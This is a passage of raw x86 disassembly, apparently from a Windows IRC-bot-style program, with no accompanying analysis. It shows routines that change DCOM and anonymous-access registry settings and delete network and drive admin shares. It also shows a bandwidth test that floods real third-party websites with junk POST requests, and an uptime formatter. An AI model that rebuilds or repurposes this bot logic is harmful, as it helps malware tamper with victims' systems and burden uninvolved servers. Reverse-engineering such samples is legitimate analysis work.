lea eax, [ebp+var_20C] push eax push ebx push dword_4DB238 call sub_419A88 add esp, 0Ch jmp loc_419B27 ; --------------------------------------------------------------------------- loc_419BEF: ; CODE XREF: sub_419B0F+8Aj inc eax mov [ebp+var_4], eax jmp short loc_419BA4 ; --------------------------------------------------------------------------- loc_419BF5: ; CODE XREF: sub_419B0F+45j push offset unk_439948 push ebx push dword_4DB238 call sub_419A88 push [ebp+arg_0] call sub_40B412 add esp, 10h push 1 call near ptr 26C0000h nop loc_419C19: ; CODE XREF: sub_419B0F+6Bj call sub_419A20 push offset unk_439920 push ebx push dword_4DB238 call sub_419A88 push [ebp+arg_0] call sub_40B412 add esp, 10h push edi call near ptr 26C0000h nop loc_419C41: ; CODE XREF: sub_419B0F+C3j push offset unk_4398F0 push ebx push dword_4DB238 call sub_419A88 push [ebp+arg_0] call sub_40B412 add esp, 10h push edi call near ptr 26C0000h nop sub_419B0F endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419C64 proc near ; CODE XREF: sub_401ACD+2507p var_378 = byte ptr -378h var_178 = byte ptr -178h var_74 = dword ptr -74h var_48 = dword ptr -48h var_44 = word ptr -44h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = byte ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 378h push ebx push esi push edi call sub_419A20 xor esi, esi lea eax, [ebp+var_178] push esi push eax push 104h push esi push offset dword_43350C push esi call dword_4CB030 test eax, eax jz loc_419D5E push 1 lea eax, [ebp+var_1C] pop ebx mov edi, dword_4270FC push esi push eax lea eax, [ebp+var_C] mov [ebp+var_1C], 0Ch push eax lea eax, [ebp+var_10] push eax mov [ebp+var_14], ebx mov [ebp+var_18], esi call edi test eax, eax jz loc_419D5E lea eax, [ebp+var_1C] push esi push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax call edi test eax, eax jz loc_419D5E mov edi, dword_4270F8 push 3 push esi push esi push offset dword_4DB1FC call edi push eax push [ebp+var_8] call edi push eax call near ptr 2700000h nop test eax, eax jz short loc_419D5E push 10h lea eax, [ebp+var_2C] push esi push eax call sub_41B590 push 44h lea eax, [ebp+var_74] pop edi push edi push esi push eax call sub_41B590 mov eax, [ebp+var_4] add esp, 18h mov [ebp+var_3C], eax mov eax, [ebp+var_C] mov [ebp+var_38], eax mov [ebp+var_34], eax lea eax, [ebp+var_2C] mov [ebp+var_74], edi push eax lea eax, [ebp+var_74] push eax push esi push esi push esi push ebx push esi mov ebx, offset dword_43D128 push esi lea eax, [ebp+var_178] push ebx push eax mov [ebp+var_48], 101h mov [ebp+var_44], si nop call near ptr 2640BE8h test eax, eax jnz short loc_419D66 loc_419D5E: ; CODE XREF: sub_419C64+2Fj ; sub_419C64+5Cj ... or eax, 0FFFFFFFFh jmp loc_419E14 ; --------------------------------------------------------------------------- loc_419D66: ; CODE XREF: sub_419C64+F8j push [ebp+var_4] mov edi, dword_427068 call edi mov eax, [ebp+var_10] push [ebp+var_28] mov dword_4DB1F8, eax mov eax, [ebp+var_8] mov dword_4DB200, eax mov eax, [ebp+var_2C] mov dword_4DB1F4, eax call edi mov eax, [ebp+arg_0] cmp [ebp+arg_4], esi mov dword_4DB238, eax jz short loc_419DA0 push [ebp+arg_4] jmp short loc_419DA1 ; --------------------------------------------------------------------------- loc_419DA0: ; CODE XREF: sub_419C64+135j push ebx loc_419DA1: ; CODE XREF: sub_419C64+13Aj push offset dword_4DB204 call sub_41B886 pop ecx pop ecx push esi push 0Ah push offset unk_4399AC call sub_40B0F6 mov edi, eax mov ecx, [ebp+var_24] imul edi, 234h add esp, 0Ch mov dword_43DEB8[edi], ecx lea ecx, [ebp+var_30] push ecx push esi push eax push offset sub_419B0F push esi push esi nop call near ptr 266051Eh cmp eax, esi mov dword_43DEC4[edi], eax jnz short loc_419E12 call near ptr 2660DCFh nop push eax lea eax, [ebp+var_378] push offset unk_439978 push eax call sub_41B886 lea eax, [ebp+var_378] push eax call sub_4151AC add esp, 10h loc_419E12: ; CODE XREF: sub_419C64+185j xor eax, eax loc_419E14: ; CODE XREF: sub_419C64+FDj pop edi pop esi pop ebx leave retn sub_419C64 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419E19 proc near ; DATA XREF: sub_401ACD+2E0Bo var_98 = dword ptr -98h var_94 = byte ptr -94h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 98h mov eax, [ebp+arg_0] push esi push edi push 26h pop ecx mov esi, eax lea edi, [ebp+var_98] rep movsd pop edi pop esi push [ebp+var_8] cmp [ebp+var_10], 0 mov dword ptr [eax+94h], 1 lea eax, [ebp+var_94] push [ebp+var_C] push eax push [ebp+var_98] jz short loc_419E60 call sub_419E79 jmp short loc_419E65 ; --------------------------------------------------------------------------- loc_419E60: ; CODE XREF: sub_419E19+3Ej call sub_41A19D loc_419E65: ; CODE XREF: sub_419E19+45j add esp, 10h push [ebp+var_14] call sub_40B412 pop ecx push 0 call near ptr 26C0000h nop sub_419E19 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419E79 proc near ; CODE XREF: sub_419E19+40p var_214 = byte ptr -214h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 214h push esi push edi xor edi, edi cmp dword_4CB044, edi jnz loc_419FAB lea eax, [ebp+var_4] mov esi, 80000002h push eax push 2001Fh push edi push offset aSoftwareMicros ; "Software\\Microsoft\\OLE" push esi call dword_4CAFE4 test eax, eax jnz short loc_419F04 mov ax, word_438724 mov word ptr [ebp+var_8+2], ax lea eax, [ebp+var_8+2] push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_8+2] push eax push 1 push edi push offset aEnabledcom ; "EnableDCOM" push [ebp+var_4] call dword_4CAF98 test eax, eax jz short loc_419EE6 push offset dword_439C48 jmp short loc_419EEB ; --------------------------------------------------------------------------- loc_419EE6: ; CODE XREF: sub_419E79+64j push offset dword_439C28 loc_419EEB: ; CODE XREF: sub_419E79+6Bj lea eax, [ebp+var_214] push eax call sub_41B886 pop ecx pop ecx push [ebp+var_4] call dword_4CAF50 jmp short loc_419F17 ; --------------------------------------------------------------------------- loc_419F04: ; CODE XREF: sub_419E79+36j lea eax, [ebp+var_214] push offset dword_439BF8 push eax call sub_41B886 pop ecx pop ecx loc_419F17: ; CODE XREF: sub_419E79+89j cmp [ebp+arg_C], edi jnz short loc_419F36 push 1 lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 14h loc_419F36: ; CODE XREF: sub_419E79+A1j lea eax, [ebp+var_214] push eax call sub_4151AC pop ecx lea eax, [ebp+var_4] push eax push 0F003Fh push edi push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa" push esi call dword_4CAFE4 test eax, eax jnz short loc_419FA4 lea eax, [ebp+var_8] push 4 push eax push 4 push edi push offset aRestrictanonym ; "restrictanonymous" push [ebp+var_4] mov [ebp+var_8], 1 call dword_4CAF98 test eax, eax jz short loc_419F86 push offset dword_439BA8 jmp short loc_419F8B ; --------------------------------------------------------------------------- loc_419F86: ; CODE XREF: sub_419E79+104j push offset dword_439B74 loc_419F8B: ; CODE XREF: sub_419E79+10Bj lea eax, [ebp+var_214] push eax call sub_41B886 pop ecx pop ecx push [ebp+var_4] call dword_4CAF50 jmp short loc_419FBE ; --------------------------------------------------------------------------- loc_419FA4: ; CODE XREF: sub_419E79+E2j push offset dword_439B38 jmp short loc_419FB0 ; --------------------------------------------------------------------------- loc_419FAB: ; CODE XREF: sub_419E79+13j push offset dword_439B08 loc_419FB0: ; CODE XREF: sub_419E79+130j lea eax, [ebp+var_214] push eax call sub_41B886 pop ecx pop ecx loc_419FBE: ; CODE XREF: sub_419E79+129j cmp [ebp+arg_C], edi jnz short loc_419FDD push 1 lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 14h loc_419FDD: ; CODE XREF: sub_419E79+148j lea eax, [ebp+var_214] push eax call sub_4151AC cmp dword_4CB06C, edi pop ecx jnz loc_41A158 push ebx mov [ebp+var_4], edi mov [ebp+var_14], edi mov [ebp+var_C], edi loc_41A000: ; CODE XREF: sub_419E79+2C3j lea eax, [ebp+var_C] push eax lea eax, [ebp+var_14] push eax lea eax, [ebp+var_4] push eax lea eax, [ebp+var_8] push 0FFFFFFFFh push eax push 1F6h push edi call dword_4CAEB8 cmp eax, edi mov [ebp+var_10], eax jz short loc_41A09D cmp eax, 0EAh jz short loc_41A09D mov esi, offset off_4399D0 loc_41A031: ; CODE XREF: sub_419E79+21Dj push dword ptr [esi] push edi call sub_418C6B pop ecx pop ecx push dword ptr [esi] test eax, eax jnz short loc_41A048 push offset dword_439AE4 jmp short loc_41A04D ; --------------------------------------------------------------------------- loc_41A048: ; CODE XREF: sub_419E79+1C6j push offset dword_439AB8 loc_41A04D: ; CODE XREF: sub_419E79+1CDj lea eax, [ebp+var_214] push 200h push eax call sub_41B980 add esp, 10h cmp [ebp+arg_C], edi jnz short loc_41A080 push 1 lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 14h loc_41A080: ; CODE XREF: sub_419E79+1EBj lea eax, [ebp+var_214] push eax call sub_4151AC add esi, 8 pop ecx cmp esi, offset dword_4399F0 jb short loc_41A031 jmp loc_41A135 ; --------------------------------------------------------------------------- loc_41A09D: ; CODE XREF: sub_419E79+1AAj ; sub_419E79+1B1j mov esi, [ebp+var_8] push 1 pop ebx cmp [ebp+var_4], ebx jb loc_41A12C loc_41A0AC: ; CODE XREF: sub_419E79+2AFj mov edi, [esi] push edi call sub_41D817 cmp word ptr [edi+eax*2-2], 24h pop ecx jnz short loc_41A121 push edi call sub_418B58 push eax push 0 call sub_418C6B add esp, 0Ch push dword ptr [esi] test eax, eax jnz short loc_41A0DB push offset dword_439A94 jmp short loc_41A0E0 ; --------------------------------------------------------------------------- loc_41A0DB: ; CODE XREF: sub_419E79+259j push offset dword_439A68 loc_41A0E0: ; CODE XREF: sub_419E79+260j lea eax, [ebp+var_214] push 200h push eax call sub_41B980 add esp, 10h cmp [ebp+arg_C], 0 jnz short loc_41A114 push 1 lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 14h loc_41A114: ; CODE XREF: sub_419E79+27Fj lea eax, [ebp+var_214] push eax call sub_4151AC pop ecx loc_41A121: ; CODE XREF: sub_419E79+242j add esi, 28h inc ebx cmp ebx, [ebp+var_4] jbe short loc_41A0AC xor edi, edi loc_41A12C: ; CODE XREF: sub_419E79+22Dj push [ebp+var_8] call dword_4CB004 loc_41A135: ; CODE XREF: sub_419E79+21Fj cmp [ebp+var_10], 0EAh jz loc_41A000 lea eax, [ebp+var_214] push offset dword_439A40 push eax call sub_41B886 pop ecx pop ecx pop ebx jmp short loc_41A16B ; --------------------------------------------------------------------------- loc_41A158: ; CODE XREF: sub_419E79+177j lea eax, [ebp+var_214] push offset dword_439A10 push eax call sub_41B886 pop ecx pop ecx loc_41A16B: ; CODE XREF: sub_419E79+2DDj cmp [ebp+arg_C], edi jnz short loc_41A189 push edi lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 14h loc_41A189: ; CODE XREF: sub_419E79+2F5j lea eax, [ebp+var_214] push eax call sub_4151AC pop ecx push 1 pop eax pop edi pop esi leave retn sub_419E79 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A19D proc near ; CODE XREF: sub_419E19:loc_419E60p var_220 = byte ptr -220h var_20 = byte ptr -20h var_14 = byte ptr -14h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 220h push ebx xor ebx, ebx cmp dword_4CB044, ebx push esi jnz loc_41A2CB lea eax, [ebp+var_4] mov esi, 80000002h push eax push 2001Fh push ebx push offset aSoftwareMicros ; "Software\\Microsoft\\OLE" push esi call dword_4CAFE4 test eax, eax jnz short loc_41A228 mov ax, word_438768 mov word ptr [ebp+var_8+2], ax lea eax, [ebp+var_8+2] push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_8+2] push eax push 1 push ebx push offset aEnabledcom ; "EnableDCOM" push [ebp+var_4] call dword_4CAF98 test eax, eax jz short loc_41A20A push offset dword_439DC0 jmp short loc_41A20F ; --------------------------------------------------------------------------- loc_41A20A: ; CODE XREF: sub_41A19D+64j push offset dword_439DA4 loc_41A20F: ; CODE XREF: sub_41A19D+6Bj lea eax, [ebp+var_220] push eax call sub_41B886 pop ecx pop ecx push [ebp+var_4] call dword_4CAF50 jmp short loc_41A23B ; --------------------------------------------------------------------------- loc_41A228: ; CODE XREF: sub_41A19D+36j lea eax, [ebp+var_220] push offset dword_439BF8 push eax call sub_41B886 pop ecx pop ecx loc_41A23B: ; CODE XREF: sub_41A19D+89j cmp [ebp+arg_C], ebx jnz short loc_41A25A push 1 lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 14h loc_41A25A: ; CODE XREF: sub_41A19D+A1j lea eax, [ebp+var_220] push eax call sub_4151AC pop ecx lea eax, [ebp+var_4] push eax push 0F003Fh push ebx push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa" push esi call dword_4CAFE4 test eax, eax jnz short loc_41A2C4 lea eax, [ebp+var_8] push 4 push eax push 4 push ebx push offset aRestrictanonym ; "restrictanonymous" push [ebp+var_4] mov [ebp+var_8], ebx call dword_4CAF98 test eax, eax jz short loc_41A2A6 push offset dword_439D64 jmp short loc_41A2AB ; --------------------------------------------------------------------------- loc_41A2A6: ; CODE XREF: sub_41A19D+100j push offset dword_439D2C loc_41A2AB: ; CODE XREF: sub_41A19D+107j lea eax, [ebp+var_220] push eax call sub_41B886 pop ecx pop ecx push [ebp+var_4] call dword_4CAF50 jmp short loc_41A2DE ; --------------------------------------------------------------------------- loc_41A2C4: ; CODE XREF: sub_41A19D+E2j push offset dword_439CF0 jmp short loc_41A2D0 ; --------------------------------------------------------------------------- loc_41A2CB: ; CODE XREF: sub_41A19D+13j push offset dword_439B08 loc_41A2D0: ; CODE XREF: sub_41A19D+12Cj lea eax, [ebp+var_220] push eax call sub_41B886 pop ecx pop ecx loc_41A2DE: ; CODE XREF: sub_41A19D+125j cmp [ebp+arg_C], ebx jnz short loc_41A2FD push 1 lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 14h loc_41A2FD: ; CODE XREF: sub_41A19D+144j lea eax, [ebp+var_220] push eax call sub_4151AC cmp dword_4CB06C, ebx pop ecx jnz loc_41A472 push edi mov esi, offset off_4399D0 mov edi, 200h loc_41A321: ; CODE XREF: sub_41A19D+1E9j push dword ptr [esi+4] push dword ptr [esi] push ebx call sub_418BBF add esp, 0Ch push dword ptr [esi] test eax, eax jnz short loc_41A33C push offset dword_439CD0 jmp short loc_41A341 ; --------------------------------------------------------------------------- loc_41A33C: ; CODE XREF: sub_41A19D+196j push offset dword_439CA8 loc_41A341: ; CODE XREF: sub_41A19D+19Dj lea eax, [ebp+var_220] push edi push eax call sub_41B980 add esp, 10h cmp [ebp+arg_C], ebx jnz short loc_41A370 push 1 lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 14h loc_41A370: ; CODE XREF: sub_41A19D+1B7j lea eax, [ebp+var_220] push eax call sub_4151AC add esi, 8 pop ecx cmp esi, offset off_4399E0 jb short loc_41A321 nop call near ptr 2810C37h test eax, eax mov [ebp+var_4], eax mov bl, 41h jz loc_41A45A loc_41A39B: ; CODE XREF: sub_41A19D+2B7j mov eax, [ebp+var_4] and eax, 1 cmp al, 1 jnz loc_41A44F cmp bl, 41h jz loc_41A44F movsx esi, bl push esi push offset aC_1 ; "%c$" lea eax, [ebp+var_14] push 0Ah push eax call sub_41B980 add esp, 10h lea eax, [ebp+var_20] push esi push offset aC_0 ; "%c:\\" push 0Ah push eax call sub_41B980 add esp, 10h lea eax, [ebp+var_20] push eax call dword_4CAFD4 cmp eax, 3 jnz short loc_41A44F lea eax, [ebp+var_20] push eax lea eax, [ebp+var_14] push eax push 0 call sub_418BBF add esp, 0Ch test eax, eax lea eax, [ebp+var_14] push eax jnz short loc_41A40D push offset dword_439CD0 jmp short loc_41A412 ; --------------------------------------------------------------------------- loc_41A40D: ; CODE XREF: sub_41A19D+267j push offset dword_439CA8 loc_41A412: ; CODE XREF: sub_41A19D+26Ej lea eax, [ebp+var_220] push edi push eax call sub_41B980 add esp, 10h cmp [ebp+arg_C], 0 jnz short loc_41A442 push 1 lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 14h loc_41A442: ; CODE XREF: sub_41A19D+289j lea eax, [ebp+var_220] push eax call sub_4151AC pop ecx loc_41A44F: ; CODE XREF: sub_41A19D+206j ; sub_41A19D+20Fj ... inc bl shr [ebp+var_4], 1 jnz loc_41A39B loc_41A45A: ; CODE XREF: sub_41A19D+1F8j lea eax, [ebp+var_220] push offset dword_439C78 push eax call sub_41B886 pop ecx xor ebx, ebx pop ecx pop edi jmp short loc_41A485 ; --------------------------------------------------------------------------- loc_41A472: ; CODE XREF: sub_41A19D+173j lea eax, [ebp+var_220] push offset dword_439A10 push eax call sub_41B886 pop ecx pop ecx loc_41A485: ; CODE XREF: sub_41A19D+2D3j cmp [ebp+arg_C], ebx jnz short loc_41A4A3 push ebx lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 14h loc_41A4A3: ; CODE XREF: sub_41A19D+2EBj lea eax, [ebp+var_220] push eax call sub_4151AC pop ecx push 1 pop eax pop esi pop ebx leave retn sub_41A19D endp ; =============== S U B R O U T I N E ======================================= sub_41A4B7 proc near ; CODE XREF: sub_41A6AE+CBp ; sub_41A6AE+DDp ... arg_0 = dword ptr 4 call near ptr 2670D93h nop push eax call sub_41B8D8 pop ecx call sub_41B8E2 cdq idiv [esp+arg_0] mov eax, edx retn sub_41A4B7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A4D1 proc near ; CODE XREF: sub_41A6AE+D4p ; sub_41A6AE+E6p ... var_38 = dword ptr -38h var_28 = word ptr -28h var_26 = word ptr -26h var_24 = dword ptr -24h var_18 = qword ptr -18h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 28h push ebx push esi push edi push [ebp+arg_0] call sub_41AFE0 mov esi, 0FFh pop ecx cmp eax, esi ja loc_41A6AA push 10h lea eax, [ebp+var_28] push 0 push eax call sub_41B590 push [ebp+arg_0] mov [ebp+var_28], 2 call sub_40AAF9 add esp, 10h mov [ebp+var_24], eax test eax, eax jz loc_41A6AA push 50h call dword_4CAF74 push 6 push 1 push 2 mov [ebp+var_26], ax call dword_4CAFF4 cmp eax, 0FFFFFFFFh mov [ebp+var_4], eax jz loc_41A6AA lea ecx, [ebp+var_28] push 10h push ecx push eax call dword_4CAF1C cmp eax, 0FFFFFFFFh jz loc_41A6AA push 32003h call sub_41CFC5 mov edi, dword_4270A8 mov ebx, eax pop ecx mov [ebp+var_8], ebx call edi push eax call sub_41B8D8 call sub_41B8E2 cdq idiv esi mov [esp+38h+var_38], 32001h push 0 push ebx movsx esi, dl call sub_41B590 push 32000h push esi push ebx call sub_41B590 push ebx call sub_41AFE0 push 323EAh mov ebx, eax call sub_41CFC5 add esp, 20h mov esi, eax push ebx push [ebp+arg_0] push offset aPostHttp1_0Hos ; "POST / HTTP/1.0\r\nHost: %s\r\nContent-Leng"... push esi call sub_41B886 push [ebp+var_8] push esi call sub_41BEC0 push offset asc_43381C ; "\r\n" push esi call sub_41BEC0 push esi call sub_41AFE0 mov ebx, eax add esp, 24h mov [ebp+var_10], ebx call edi mov dword ptr [ebp+var_18+4], eax xor eax, eax test ebx, ebx mov [ebp+arg_0], eax jbe short loc_41A62A mov [ebp+var_C], ebx mov ebx, 400h jmp short loc_41A5FA ; --------------------------------------------------------------------------- loc_41A5F7: ; CODE XREF: sub_41A4D1+157j mov eax, [ebp+arg_0] loc_41A5FA: ; CODE XREF: sub_41A4D1+124j mov ecx, [ebp+var_10] push 0 sub ecx, eax cmp ecx, ebx jnb short loc_41A60A push [ebp+var_C] jmp short loc_41A60B ; --------------------------------------------------------------------------- loc_41A60A: ; CODE XREF: sub_41A4D1+132j push ebx loc_41A60B: ; CODE XREF: sub_41A4D1+137j add eax, esi push eax push [ebp+var_4] call dword_4CAFC4 cmp eax, 0FFFFFFFFh jz short loc_41A691 add [ebp+arg_0], ebx sub [ebp+var_C], ebx mov eax, [ebp+arg_0] cmp eax, [ebp+var_10] jb short loc_41A5F7 loc_41A62A: ; CODE XREF: sub_41A4D1+11Aj call edi sub eax, dword ptr [ebp+var_18+4] and dword ptr [ebp+var_18+4], 0 mov dword ptr [ebp+var_18], eax fild [ebp+var_18] fmul flt_427714 fst [ebp+arg_0] fcomp flt_427710 fnstsw ax sahf jnz short loc_41A652 fld1 fstp [ebp+arg_0] loc_41A652: ; CODE XREF: sub_41A4D1+17Aj push [ebp+var_4] call dword_4CB00C push [ebp+var_8] call sub_41B0B1 push esi call sub_41B0B1 mov eax, [ebp+var_10] and dword ptr [ebp+var_18+4], 0 mov dword ptr [ebp+var_18], eax pop ecx fild [ebp+var_18] pop ecx fdiv [ebp+arg_0] fmul flt_42770C fmul flt_427708 call sub_41C798 loc_41A68C: ; CODE XREF: sub_41A4D1+1DBj pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_41A691: ; CODE XREF: sub_41A4D1+149j push [ebp+var_4] call dword_4CB00C push [ebp+var_8] call sub_41B0B1 push esi call sub_41B0B1 pop ecx pop ecx loc_41A6AA: ; CODE XREF: sub_41A4D1+19j ; sub_41A4D1+42j ... xor eax, eax jmp short loc_41A68C sub_41A4D1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A6AE proc near ; CODE XREF: sub_401ACD+2E61p var_26C = byte ptr -26Ch var_6C = dword ptr -6Ch var_68 = dword ptr -68h var_64 = dword ptr -64h var_60 = dword ptr -60h var_5C = dword ptr -5Ch var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 26Ch push ebx push esi push edi push 8 mov [ebp+var_4], 3 mov [ebp+var_3C], offset aWww_schlund_ne ; "www.schlund.net" mov [ebp+var_38], offset aWww_utwente_nl ; "www.utwente.nl" mov [ebp+var_34], offset aVerio_fr ; "verio.fr" mov [ebp+var_30], offset aWww_1und1_de ; "www.1und1.de" mov [ebp+var_2C], offset aWww_switch_ch ; "www.switch.ch" mov [ebp+var_28], offset aWww_belwue_de ; "www.belwue.de" mov [ebp+var_24], offset aDe_yahoo_com ; "de.yahoo.com" mov [ebp+var_20], offset aWww_google_it ; "www.google.it" mov [ebp+var_6C], offset aWww_xo_net ; "www.xo.net" mov [ebp+var_68], offset aWww_stanford_e ; "www.stanford.edu" mov [ebp+var_64], offset aWww_verio_com ; "www.verio.com" mov [ebp+var_60], offset aWww_nocster_co ; "www.nocster.com" mov [ebp+var_5C], offset aWww_rit_edu ; "www.rit.edu" mov [ebp+var_58], offset aWww_cogentco_c ; "www.cogentco.com" mov [ebp+var_54], offset aWww_burst_net ; "www.burst.net" mov [ebp+var_50], offset aNitro_ucsc_edu ; "nitro.ucsc.edu" mov [ebp+var_4C], offset aWww_level3_com ; "www.level3.com" mov [ebp+var_48], offset aWww_above_net ; "www.above.net" mov [ebp+var_44], offset aWww_easynews_c ; "www.easynews.com" mov [ebp+var_40], offset aWww_google_com ; "www.google.com" mov [ebp+var_1C], offset aWww_lib_nthu_e ; "www.lib.nthu.edu.tw" mov [ebp+var_18], offset aWww_st_lib_kei ; "www.st.lib.keio.ac.jp" mov [ebp+var_14], offset aWww_d1asia_com ; "www.d1asia.com" mov [ebp+var_10], offset aWww_nifty_com ; "www.nifty.com" mov [ebp+var_C], offset aYahoo_co_jp ; "yahoo.co.jp" mov [ebp+var_8], offset aWww_google_co_ ; "www.google.co.jp" call sub_41A4B7 push [ebp+eax*4+var_3C] call sub_41A4D1 push 8 mov esi, eax call sub_41A4B7 push [ebp+eax*4+var_3C] call sub_41A4D1 add esp, 10h test esi, esi jz short loc_41A7AF test eax, eax jz short loc_41A7AB lea ebx, [eax+esi] shr ebx, 1 jmp short loc_41A7B1 ; --------------------------------------------------------------------------- loc_41A7AB: ; CODE XREF: sub_41A6AE+F4j mov ebx, esi jmp short loc_41A7B1 ; --------------------------------------------------------------------------- loc_41A7AF: ; CODE XREF: sub_41A6AE+F0j mov ebx, eax loc_41A7B1: ; CODE XREF: sub_41A6AE+FBj ; sub_41A6AE+FFj push 0Ch call sub_41A4B7 push [ebp+eax*4+var_6C] call sub_41A4D1 push 0Ch mov edi, eax call sub_41A4B7 push [ebp+eax*4+var_6C] call sub_41A4D1 add esp, 10h test edi, edi jz short loc_41A7E9 test eax, eax jz short loc_41A7E5 lea esi, [eax+edi] shr esi, 1 jmp short loc_41A7EB ; --------------------------------------------------------------------------- loc_41A7E5: ; CODE XREF: sub_41A6AE+12Ej mov esi, edi jmp short loc_41A7EB ; --------------------------------------------------------------------------- loc_41A7E9: ; CODE XREF: sub_41A6AE+12Aj mov esi, eax loc_41A7EB: ; CODE XREF: sub_41A6AE+135j ; sub_41A6AE+139j push 6 call sub_41A4B7 push [ebp+eax*4+var_1C] call sub_41A4D1 push 6 mov edi, eax call sub_41A4B7 push [ebp+eax*4+var_1C] call sub_41A4D1 add esp, 10h test edi, edi jz short loc_41A823 test eax, eax jz short loc_41A81F lea ecx, [eax+edi] shr ecx, 1 jmp short loc_41A825 ; --------------------------------------------------------------------------- loc_41A81F: ; CODE XREF: sub_41A6AE+168j mov ecx, edi jmp short loc_41A825 ; --------------------------------------------------------------------------- loc_41A823: ; CODE XREF: sub_41A6AE+164j mov ecx, eax loc_41A825: ; CODE XREF: sub_41A6AE+16Fj ; sub_41A6AE+173j xor eax, eax test ebx, ebx jz short loc_41A832 mov edi, [ebp+var_4] mov eax, ebx jmp short loc_41A835 ; --------------------------------------------------------------------------- loc_41A832: ; CODE XREF: sub_41A6AE+17Bj push 2 pop edi loc_41A835: ; CODE XREF: sub_41A6AE+182j test esi, esi jz short loc_41A83D add eax, esi jmp short loc_41A83E ; --------------------------------------------------------------------------- loc_41A83D: ; CODE XREF: sub_41A6AE+189j dec edi loc_41A83E: ; CODE XREF: sub_41A6AE+18Dj test ecx, ecx jz short loc_41A846 add eax, ecx jmp short loc_41A847 ; --------------------------------------------------------------------------- loc_41A846: ; CODE XREF: sub_41A6AE+192j dec edi loc_41A847: ; CODE XREF: sub_41A6AE+196j xor edx, edx div edi push eax push ecx push esi push ebx lea eax, [ebp+var_26C] push offset dword_439E18 push eax call sub_41B886 push 0 lea eax, [ebp+var_26C] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 lea eax, [ebp+var_26C] push eax call sub_4151AC add esp, 30h pop edi pop esi pop ebx leave retn sub_41A6AE endp ; =============== S U B R O U T I N E ======================================= sub_41A88B proc near ; CODE XREF: sub_401ACD+25A0p ; sub_401ACD+2A10p ... arg_0 = dword ptr 4 push ebx push ebp push esi push edi nop call near ptr 2670D93h xor edx, edx mov ecx, 3E8h div ecx mov ebx, 15180h xor edx, edx mov esi, ebx mov edi, 0E10h mov ebp, edi push 3Ch mov ecx, eax sub ecx, [esp+14h+arg_0] mov eax, ecx div esi mov esi, edx xor edx, edx mov eax, esi div ebp pop ebp mov eax, edx xor edx, edx div ebp xor edx, edx push eax mov eax, esi div edi xor edx, edx mov esi, offset dword_4DB240 push eax mov eax, ecx div ebx push eax push offset aDdDhDm ; "%dd %dh %dm" push 32h push esi call sub_41B980 add esp, 18h mov eax, esi pop edi pop esi pop ebp pop ebx retn sub_41A88B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based 